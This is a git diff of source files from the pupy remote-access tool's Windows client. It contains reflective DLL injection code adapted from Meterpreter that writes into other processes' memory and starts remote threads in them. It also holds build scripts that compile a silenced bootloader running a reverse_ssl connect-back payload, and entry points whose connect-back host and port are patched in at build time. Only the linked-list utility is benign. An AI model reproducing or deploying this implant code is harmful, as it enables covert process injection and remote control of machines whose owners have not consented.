ctx->s.lpStartAddress = lpStartAddress;
ctx->p.lpParameter = lpParameter;
ctx->t.hThread = NULL;
//printf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx );
// Transition this wow64 process into native x64 and call pX64function( ctx )
// The native function will use the native Win64 API's to create a remote thread in the target process.
if( !pExecuteX64( pX64function, (DWORD)ctx ) )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
}
if( !ctx->t.hThread )
{
SetLastError( ERROR_INVALID_HANDLE );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" )
}
// Success! grab the new thread handle from of the context
*pThread = ctx->t.hThread;
//printf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread );
} while( 0 );
if( pExecuteX64 )
VirtualFree( pExecuteX64, 0, MEM_DECOMMIT );
if( pX64function )
VirtualFree( pX64function, 0, MEM_DECOMMIT );
return dwResult;
}
/*
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
*/
DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter)
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
HANDLE hThread = NULL;
do
{
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
// fails, giving us a chance to try an alternative method or fail migration gracefully.
hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);
if (!hThread)
{
if (dwPupyArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64)
{
dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;
if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS)
{
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed")
}
}
else
{
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed")
}
}
else
{
//printf("[INJECT] inject_via_remotethread: succeeded");
}
/*
if (remote && response)
{
//printf("[INJECT] inject_via_remotethread: Sending a migrate response...");
// Send a successful response to let the ruby side know that we've pretty
// much successfully migrated and have reached the point of no return
packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique);
packet_transmit_response(ERROR_SUCCESS, remote, response);
//printf("[INJECT] inject_via_remotethread: Sleeping for two seconds...");
// Sleep to give the remote side a chance to catch up...
Sleep(2000);
}
*/
Sleep(2000);
//printf("[INJECT] inject_via_remotethread: Resuming the injected thread...");
// Resume the injected thread...
if (ResumeThread(hThread) == (DWORD)-1)
{
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed")
}
} while (0);
if (hThread)
{
CloseHandle(hThread);
}
SetLastError(dwResult);
return dwResult;
}
/*
* Inject a DLL image into a process via Reflective DLL Injection.
*
* Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for
* an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll()
* in stdapi will handle this automatically.
*
* Note: This function largely depreciates LoadRemoteLibraryR().
*/
DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine , int remoteProcessArch)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
LPVOID lpRemoteCommandLine = NULL;
HANDLE hProcess = NULL;
LPVOID lpRemoteLibraryBuffer = NULL;
LPVOID lpReflectiveLoader = NULL;
DWORD dwReflectiveLoaderOffset = 0;
do
{
if( !lpDllBuffer || !dwDllLenght )
BREAK_ON_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.");
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer );
if( !dwReflectiveLoaderOffset )
BREAK_ON_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.");
hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid );
if( !hProcess )
BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." );
if( cpCommandLine )
{
// alloc some space and write the commandline which we will pass to the injected dll...
lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
if( !lpRemoteCommandLine )
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" );
if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" );
}
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" );
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
// First we try to inject by directly creating a remote thread in the target process
if( inject_via_remotethread( hProcess, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
{
//printf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." );
// If that fails we can try to migrate via a queued APC in the target process
if( inject_via_apcthread( hProcess, dwPid, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" )
}
dwResult = ERROR_SUCCESS;
} while( 0 );
if( hProcess )
CloseHandle( hProcess );
return dwResult;
}

View File

@ -0,0 +1,126 @@
/*
This code has been taken from meterpreter and modified to be integrated into pupy.
original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/
Meterpreter is available for use under the following license, commonly known as the
3-clause (or "modified") BSD license:
=========================================================================================
Meterpreter
-----------
Copyright (c) 2006-2013, Rapid7 Inc
Redistribution and use in source and binary forms, with or without modification, are
permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials
provided with the distribution.
* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
//===============================================================================================//
#ifndef _METERPRETER_BASE_INJECT_H
#define _METERPRETER_BASE_INJECT_H
//===============================================================================================//
// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here.
#define PROCESS_ARCH_UNKNOWN 0
#define PROCESS_ARCH_X86 1
#define PROCESS_ARCH_X64 2
#define PROCESS_ARCH_IA64 3
// The three injection techniques currently supported.
#define MIGRATE_TECHNIQUE_REMOTETHREAD 0
#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1
#define MIGRATE_TECHNIQUE_APCQUEUE 2
extern const DWORD dwPupyArch;
//===============================================================================================//
// Definition of ntdll!NtQueueApcThread
typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved );
// Definitions used for running native x64 code from a wow64 process (see executex64.asm)
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
//===============================================================================================//
// The context used for injection via migrate_via_apcthread
typedef struct _APCCONTEXT
{
union
{
LPVOID lpStartAddress;
BYTE bPadding1[8];
} s;
union
{
LPVOID lpParameter;
BYTE bPadding2[8];
} p;
BYTE bExecuted;
} APCCONTEXT, * LPAPCCONTEXT;
// The context used for injection via migrate_via_remotethread_wow64
typedef struct _WOW64CONTEXT
{
union
{
HANDLE hProcess;
BYTE bPadding2[8];
} h;
union
{
LPVOID lpStartAddress;
BYTE bPadding1[8];
} s;
union
{
LPVOID lpParameter;
BYTE bPadding2[8];
} p;
union
{
HANDLE hThread;
BYTE bPadding2[8];
} t;
} WOW64CONTEXT, * LPWOW64CONTEXT;
//===============================================================================================//
DWORD inject_via_apcthread(HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);
DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine);
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,34 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import StringIO, zipfile, os.path, imp, sys
import marshal
import zlib
def get_encoded_library_string(arch):
filepath=None
if arch=="x86":
filepath=os.path.join("resources","libraryx86.zip")
elif arch=="x64":
filepath=os.path.join("resources","libraryx64.zip")
else:
raise Exception("unknown arch %s"%arch)
f = StringIO.StringIO()
f.write(open(filepath, "rb").read())
zip = zipfile.ZipFile(f)
modules = dict([(z.filename, zip.open(z.filename,).read()) for z in zip. infolist() if os.path.splitext(z.filename)[1] in [".py",".pyd",".dll",".pyc",".pyo"]])
return zlib.compress(marshal.dumps(modules),9)
try:
with open(os.path.join("resources","library_compressed_string_x86.txt"),'wb') as w:
w.write(get_encoded_library_string("x86"))
print "x86 encoded library generated"
except Exception as e:
print str(e)
try:
with open(os.path.join("resources","library_compressed_string_x64.txt"),'wb') as w:
w.write(get_encoded_library_string("x64"))
print "x64 encoded library generated"
except Exception as e:
print str(e)

View File

@ -0,0 +1,54 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import marshal
import struct
import base64
import os.path
remove_stdout="""
import sys
class Blackhole(object):
softspace = 0
def read(self):
pass
def write(self, text):
pass
def flush(self):
pass
sys.stdout = Blackhole()
sys.stderr = Blackhole()
del Blackhole
"""
#remove_stdout=""
def get_load_module_code(code, modulename):
loader="""
import imp, sys
fullname={}
mod = imp.new_module(fullname)
mod.__file__ = "<bootloader>\\%s" % fullname
exec {} in mod.__dict__
sys.modules[fullname]=mod
""".format(repr(modulename),repr(code))
return loader
if __name__=="__main__":
code_bytes=[]
code=""
#code_bytes.append(compile("import sys; print repr(sys._GetCompressedLibraryString())"+"\n", "<string>", "exec"))
code_bytes.append(compile(remove_stdout, "<string>", "exec"))
code_bytes.append(compile("import sys;sys.argv=[]", "<string>", "exec"))
with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f:
code=f.read()
code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "<string>", "exec"))
code_bytes.append(compile("import pupyimporter;pupyimporter.install()\n", "<string>", "exec"))
#code_bytes.append(compile("import platform; print platform.uname()\n", "<string>", "exec"))
with open(os.path.join("..","reverse_ssl.py")) as f:
code=f.read()
code_bytes.append(compile(code+"\n", "<string>", "exec"))
code_bytes=marshal.dumps(code_bytes)
with open(os.path.join("resources","bootloader.pyc"),'wb') as w:
w.write(code_bytes)

View File

@ -0,0 +1,29 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import sys
import binascii
MAX_CHAR_PER_LINE=50
if __name__=="__main__":
h_file=""
file_bytes=b""
with open(sys.argv[1], "rb") as f:
file_bytes=f.read()
h_file += "int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(file_bytes))
h_file += "\nchar %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")
current_size=0
for c in file_bytes:
h_file+="'\\x%s',"%binascii.hexlify(c)
current_size+=1
if current_size>MAX_CHAR_PER_LINE:
current_size=0
h_file+="\n"
h_file += "'\\x00' };\n"
with open(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")+".c",'w') as w:
w.write(h_file)

View File

@ -0,0 +1,69 @@
{ "Py_Initialize", NULL },
{ "PyRun_SimpleString", NULL },
{ "Py_Finalize", NULL },
{ "Py_GetPath", NULL },
{ "Py_SetPythonHome", NULL },
{ "Py_SetProgramName", NULL },
{ "PyMarshal_ReadObjectFromString", NULL },
{ "PyObject_CallFunction", NULL },
{ "PyString_AsStringAndSize", NULL },
{ "PyString_AsString", NULL },
{ "PyArg_ParseTuple", NULL },
{ "PyErr_Format", NULL },
{ "PyImport_ImportModule", NULL },
{ "PyInt_FromLong", NULL },
{ "PyInt_AsLong", NULL },
{ "PyLong_FromVoidPtr", NULL },
#ifdef _DEBUG
{ "Py_InitModule4TraceRefs", NULL },
#else
# if defined (_WIN64)
{ "Py_InitModule4_64", NULL },
# else
{ "Py_InitModule4", NULL },
# endif
#endif
{ "PyTuple_New", NULL },
{ "PyTuple_SetItem", NULL },
{ "Py_IsInitialized", NULL },
{ "PyObject_SetAttrString", NULL },
{ "PyCFunction_NewEx", NULL },
{ "PyObject_GetAttrString", NULL },
{ "Py_BuildValue", NULL },
{ "PyObject_Call", NULL },
{ "PySys_WriteStderr", NULL },
{ "PyErr_Occurred", NULL },
{ "PyErr_Clear", NULL },
{ "PyObject_IsInstance", NULL },
{ "PyInt_Type", NULL },
{ "_Py_NoneStruct", NULL },
{ "PyExc_ImportError", NULL },
{ "PyExc_Exception", NULL },
{ "_Py_PackageContext", NULL },
{ "PyGILState_Ensure", NULL },
{ "PyGILState_Release", NULL },
{ "PySys_SetObject", NULL },
{ "PySys_GetObject", NULL },
{ "PyString_FromString", NULL },
{ "Py_FdIsInteractive", NULL },
{ "PyRun_InteractiveLoop", NULL },
{ "PySys_SetArgv", NULL },
{ "PyImport_AddModule", NULL },
{ "PyModule_GetDict", NULL },
{ "PySequence_Length", NULL },
{ "PySequence_GetItem", NULL },
{ "PyEval_EvalCode", NULL },
{ "PyErr_Print", NULL },
{ "PyBool_FromLong", NULL },
{ "Py_VerboseFlag", NULL },
{ "Py_NoSiteFlag", NULL },
{ "Py_OptimizeFlag", NULL },
{ "Py_IgnoreEnvironmentFlag", NULL },
{ "PyObject_Str", NULL },
{ "PyList_New", NULL },
{ "PyList_SetItem", NULL },
{ "PyList_Append", NULL },
{ "PyThreadState_GetDict", NULL },
{ "PyObject_IsTrue", NULL },
{ "PyErr_SetString", NULL },
{ "PyEval_InitThreads", NULL },

View File

@ -0,0 +1,61 @@
#define Py_Initialize ((void(*)(void))imports[0].proc)
#define PyRun_SimpleString ((int(*)(char *))imports[1].proc)
#define Py_Finalize ((void(*)(void))imports[2].proc)
#define Py_GetPath ((char *(*)(void))imports[3].proc)
#define Py_SetPythonHome ((void(*)(char *))imports[4].proc)
#define Py_SetProgramName ((void(*)(char *))imports[5].proc)
#define PyMarshal_ReadObjectFromString ((PyObject *(*)(char *, Py_ssize_t))imports[6].proc)
#define PyObject_CallFunction ((PyObject *(*)(PyObject *, char *, ...))imports[7].proc)
#define PyString_AsStringAndSize ((int(*)(PyObject *, char **, Py_ssize_t *))imports[8].proc)
#define PyString_AsString ((char *(*)(PyObject *))imports[9].proc)
#define PyArg_ParseTuple ((int(*)(PyObject *, char *, ...))imports[10].proc)
#define PyErr_Format ((PyObject *(*)(PyObject *, const char *, ...))imports[11].proc)
#define PyImport_ImportModule ((PyObject *(*)(char *))imports[12].proc)
#define PyInt_FromLong ((PyObject *(*)(long))imports[13].proc)
#define PyInt_AsLong ((long(*)(PyObject *))imports[14].proc)
#define PyLong_FromVoidPtr ((PyObject *(*)(void *))imports[15].proc)
#define Py_InitModule4 ((PyObject *(*)(char *, PyMethodDef *, char *, PyObject *, int))imports[16].proc)
#define PyTuple_New ((PyObject *(*)(Py_ssize_t))imports[17].proc)
#define PyTuple_SetItem ((int(*)(PyObject*, Py_ssize_t, PyObject *))imports[18].proc)
#define Py_IsInitialized ((int(*)(void))imports[19].proc)
#define PyObject_SetAttrString ((int(*)(PyObject *, char *, PyObject *))imports[20].proc)
#define PyCFunction_NewEx ((PyObject *(*)(PyMethodDef *, PyObject *, PyObject *))imports[21].proc)
#define PyObject_GetAttrString ((PyObject *(*)(PyObject *, char *))imports[22].proc)
#define Py_BuildValue ((PyObject *(*)(char *, ...))imports[23].proc)
#define PyObject_Call ((PyObject *(*)(PyObject *, PyObject *, PyObject *))imports[24].proc)
#define PySys_WriteStderr ((void(*)(const char *, ...))imports[25].proc)
#define PyErr_Occurred ((PyObject *(*)(void))imports[26].proc)
#define PyErr_Clear ((void(*)(void))imports[27].proc)
#define PyObject_IsInstance ((int(*)(PyObject *, PyObject *))imports[28].proc)
#define PyInt_Type (*(PyObject(*))imports[29].proc)
#define _Py_NoneStruct (*(PyObject(*))imports[30].proc)
#define PyExc_ImportError (*(PyObject *(*))imports[31].proc)
#define PyExc_Exception (*(PyObject *(*))imports[32].proc)
#define _Py_PackageContext (*(char *(*))imports[33].proc)
#define PyGILState_Ensure ((PyGILState_STATE(*)(void))imports[34].proc)
#define PyGILState_Release ((void(*)(PyGILState_STATE))imports[35].proc)
#define PySys_SetObject ((void(*)(char *, PyObject *))imports[36].proc)
#define PySys_GetObject ((PyObject *(*)(char *))imports[37].proc)
#define PyString_FromString ((PyObject *(*)(char *))imports[38].proc)
#define Py_FdIsInteractive ((int(*)(FILE *, char *))imports[39].proc)
#define PyRun_InteractiveLoop ((int(*)(FILE *, char *))imports[40].proc)
#define PySys_SetArgv ((void(*)(int, char **))imports[41].proc)
#define PyImport_AddModule ((PyObject *(*)(char *))imports[42].proc)
#define PyModule_GetDict ((PyObject *(*)(PyObject *))imports[43].proc)
#define PySequence_Length ((Py_ssize_t(*)(PyObject *))imports[44].proc)
#define PySequence_GetItem ((PyObject *(*)(PyObject *, Py_ssize_t))imports[45].proc)
#define PyEval_EvalCode ((PyObject *(*)(PyCodeObject *, PyObject *, PyObject *))imports[46].proc)
#define PyErr_Print ((void(*)(void))imports[47].proc)
#define PyBool_FromLong ((PyObject *(*)(long))imports[48].proc)
#define Py_VerboseFlag (*(int(*))imports[49].proc)
#define Py_NoSiteFlag (*(int(*))imports[50].proc)
#define Py_OptimizeFlag (*(int(*))imports[51].proc)
#define Py_IgnoreEnvironmentFlag (*(int(*))imports[52].proc)
#define PyObject_Str ((PyObject *(*)(PyObject *))imports[53].proc)
#define PyList_New ((PyObject *(*)(Py_ssize_t))imports[54].proc)
#define PyList_SetItem ((int(*)(PyObject *, Py_ssize_t, PyObject *))imports[55].proc)
#define PyList_Append ((int(*)(PyObject *, PyObject *))imports[56].proc)
#define PyThreadState_GetDict ((PyObject *(*)(void))imports[57].proc)
#define PyObject_IsTrue ((int(*)(PyObject *))imports[58].proc)
#define PyErr_SetString ((void(*)(PyObject *, const char *))imports[59].proc)
#define PyEval_InitThreads ((void(*)(void))imports[60].proc)

429
client/sources/list.c Normal file
View File

@ -0,0 +1,429 @@
/*!
* @file list.c
* @brief Definitions for functions that operate on lists.
* @details An implementation of a simple thread safe double linked list structure. Can be used as either
* a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If
* performing a group of actions on a list based on results from list actions, acquire the list
* lock before the group of actions and release lock when done.
*/
//#include "common.h"
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include "thread.h"
#include "list.h"
/*!
* @brief Create a thread-safe double linked list.
* @returns A new instance of a linked list.
* @retval NULL Indicates a memory allocation failure.
*/
PLIST list_create(VOID)
{
PLIST pList = (PLIST)malloc(sizeof(LIST));
if (pList != NULL)
{
pList->start = NULL;
pList->end = NULL;
pList->count = 0;
pList->lock = lock_create();
if (pList->lock == NULL)
{
list_destroy(pList);
return NULL;
}
}
return pList;
}
/*!
* @brief Destroy an existing linked list.
* @details This destroys all nodes and the list itself but not the data held in the
* linked list. This is the responsibility of the caller to destroy.
* @param list The \c LIST instance to destroy.
*/
VOID list_destroy(PLIST pList)
{
PNODE current_node;
PNODE next_node;
if (pList != NULL)
{
lock_acquire(pList->lock);
current_node = pList->start;
while (current_node != NULL)
{
next_node = current_node->next;
current_node->next = NULL;
current_node->prev = NULL;
free(current_node);
current_node = next_node;
}
pList->count = 0;
lock_release(pList->lock);
lock_destroy(pList->lock);
free(pList);
}
}
/*!
* @brief Get the number of items in the list.
* @param pList The \c LIST to get a count of.
* @returns The number of elements in the list.
* @remark If using this coung value to itterate through the list with `list_get`, acquire
* the lists lock before the `list_count/list_get` block and release it afterwards.
*/
DWORD list_count(PLIST pList)
{
DWORD count = 0;
if (pList != NULL)
{
lock_acquire(pList->lock);
count = pList->count;
lock_release(pList->lock);
}
return count;
}
/*!
* @brief Get the data value held in the list and a specified index.
* @param pList Pointer to the \c LIST to get the element from.
* @param index Index of the element to get;
* @returns Pointer to the item in the list.
* @retval NULL Indicates the element doesn't exist in the list.
* @remark This will perform a linear search from the beginning of the list.
*/
LPVOID list_get(PLIST pList, DWORD index)
{
LPVOID data = NULL;
PNODE current_node = NULL;
if (pList == NULL)
return NULL;
lock_acquire(pList->lock);
if (pList->count <= index)
{
lock_release(pList->lock);
return NULL;
}
current_node = pList->start;
while (current_node != NULL)
{
if (index == 0)
{
break;
}
current_node = current_node->next;
index--;
}
if (current_node != NULL)
{
data = current_node->data;
}
lock_release(pList->lock);
return data;
}
/*!
* @brief Add a data item onto the end of the list.
* @param pList Pointer to the \c LIST to add the item to.
* @param data The data that is to be added to the list.
* @returns Indication of success or failure.
* @sa list_push
*/
BOOL list_add(PLIST pList, LPVOID data)
{
return list_push(pList, data);
}
/*!
* @brief Internal function to remove a node from a list.
* @param pList Pointer to the \c LIST containing \c node.
* @param pNode Pointer to the \c NOTE to remove.
* @returns Indication of success or failure.
* @remark Assumes caller has aquired the appropriate lock first.
*/
BOOL list_remove_node(PLIST pList, PNODE pNode)
{
if (pList == NULL || pNode == NULL)
{
return FALSE;
}
if (pList->count - 1 == 0)
{
pList->start = NULL;
pList->end = NULL;
}
else
{
if (pList->start == pNode)
{
pList->start = pList->start->next;
pList->start->prev = NULL;
}
else if (pList->end == pNode)
{
pList->end = pList->end->prev;
pList->end->next = NULL;
}
else
{
pNode->next->prev = pNode->prev;
pNode->prev->next = pNode->next;
}
}
pList->count -= 1;
pNode->next = NULL;
pNode->prev = NULL;
free(pNode);
return TRUE;
}
/*!
* @brief Remove a given data item from the list.
* @param pList Pointer to the \c LIST to remove the item from.
* @param data The data that is to be removed from the list.
* @remark Assumes data items are unqique as only the first occurrence is removed.
* @returns Indication of success or failure.
* @sa list_remove_node
*/
BOOL list_remove(PLIST pList, LPVOID data)
{
BOOL result = FALSE;
PNODE current_node = NULL;
if (pList == NULL || data == NULL)
{
return FALSE;
}
lock_acquire(pList->lock);
current_node = pList->start;
while (current_node != NULL)
{
if (current_node->data == data)
{
break;
}
current_node = current_node->next;
}
result = list_remove_node(pList, current_node);
lock_release(pList->lock);
return result;
}
/*!
* @brief Remove a list item at the specified index.
* @param pList Pointer to the \c LIST to remove the item from.
* @param index Index of the item to remove.
* @returns Indication of success or failure.
*/
BOOL list_delete(PLIST pList, DWORD index)
{
BOOL result = FALSE;
LPVOID data = NULL;
PNODE current_node = NULL;
if (pList == NULL)
{
return FALSE;
}
lock_acquire(pList->lock);
if (pList->count > index)
{
current_node = pList->start;
while (current_node != NULL)
{
if (index == 0)
{
result = list_remove_node(pList, current_node);
break;
}
current_node = current_node->next;
index--;
}
}
lock_release(pList->lock);
return result;
}
/*!
* @brief Push a data item onto the end of the list.
* @param pList Pointer to the \c LIST to append the data to.
* @param data Pointer to the data to append.
* @returns Indication of success or failure.
*/
BOOL list_push(PLIST pList, LPVOID data)
{
PNODE pNode = NULL;
if (pList == NULL)
return FALSE;
pNode = (PNODE)malloc(sizeof(NODE));
if (pNode == NULL)
{
return FALSE;
}
pNode->data = data;
pNode->next = NULL;
pNode->prev = NULL;
lock_acquire(pList->lock);
if (pList->end != NULL)
{
pList->end->next = pNode;
pNode->prev = pList->end;
pList->end = pNode;
}
else
{
pList->start = pNode;
pList->end = pNode;
}
pList->count += 1;
lock_release(pList->lock);
return TRUE;
}
/*!
* @brief Pop a data value off the end of the list.
* @param pList Pointer to the \c LIST to pop the value from.
* @returns The popped value.
* @retval NULL Indicates no data in the list.
*/
LPVOID list_pop(PLIST pList)
{
LPVOID data = NULL;
if (pList == NULL)
{
return NULL;
}
lock_acquire(pList->lock);
if (pList->end != NULL)
{
data = pList->end->data;
list_remove_node(pList, pList->end);
}
lock_release(pList->lock);
return data;
}
/*!
* @brief Pop a data value off the start of the list.
* @param pList Pointer to the \c LIST to shift the value from.
* @returns The shifted value.
* @retval NULL Indicates no data in the list.
*/
LPVOID list_shift(PLIST pList)
{
LPVOID data = NULL;
if (pList == NULL)
{
return NULL;
}
lock_acquire(pList->lock);
if (pList->start != NULL)
{
data = pList->start->data;
list_remove_node(pList, pList->start);
}
lock_release(pList->lock);
return data;
}
/*!
* @brief Iterate over the list and call a function callback on each element.
* @param pList Pointer to the \c LIST to enumerate.
* @param pCallback Callback function to invoke for each element in the list.
* @param pState Pointer to the state to pass with each function call.
*/
BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState)
{
PNODE pCurrent;
BOOL bResult;
if (pList == NULL || pCallback == NULL)
{
return FALSE;
}
lock_acquire(pList->lock);
pCurrent=pList->start;
bResult = FALSE;
while (pCurrent != NULL)
{
bResult = pCallback(pState, pCurrent->data) || bResult;
pCurrent = pCurrent->next;
}
lock_release(pList->lock);
return bResult;
}

39
client/sources/list.h Normal file
View File

@ -0,0 +1,39 @@
/*!
* @file list.h
* @brief Declarations for functions that operate on lists.
*/
#ifndef _METERPRETER_LIB_LIST_H
#define _METERPRETER_LIB_LIST_H
/*! @brief Container struct for data the lives in a list. */
typedef struct _NODE
{
struct _NODE * next; ///< Pointer to the next node in the list.
struct _NODE * prev; ///< Pointer to the previous node in the list.
LPVOID data; ///< Reference to the data in the list node.
} NODE, *PNODE;
/*! @brief Container structure for a list instance. */
typedef struct _LIST
{
NODE * start; ///< Pointer to the first node in the list.
NODE * end; ///< Pointer to the last node in the list.
DWORD count; ///< Count of elements in the list.
LOCK * lock; ///< Reference to the list's synchronisation lock.
} LIST, *PLIST;
typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData);
LIST * list_create(VOID);
VOID list_destroy(PLIST pList);
DWORD list_count(PLIST pList);
LPVOID list_get(PLIST pList, DWORD index);
BOOL list_add(PLIST pList, LPVOID data);
BOOL list_remove(PLIST pList, LPVOID data);
BOOL list_delete(PLIST pList, DWORD index);
BOOL list_push(PLIST pList, LPVOID data);
LPVOID list_pop(PLIST pList);
LPVOID list_shift(PLIST pList);
BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState);
#endif

22
client/sources/main_exe.c Normal file
View File

@ -0,0 +1,22 @@
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "pupy_load.h"
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
int main(int argc, char *argv[]){
if (argc==2){
memcpy(connect_back_host, argv[1], strlen(argv[1])+1);
}
if(strcmp(connect_back_host,"<default_connect_back_host>:<default_connect_back_port>")==0){
printf("usage: %s <host>:<port>",argv[0]);
return 1;
}
return mainThread(NULL);
}

View File

@ -0,0 +1,46 @@
/*
* Author : Nicolas VERDIER
*
*/
//#pragma comment(lib, "user32")
#include <windows.h>
#include "pupy_load.h"
#include "ReflectiveDllInjection.h"
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
extern HINSTANCE hAppInstance;
//===============================================================================================//
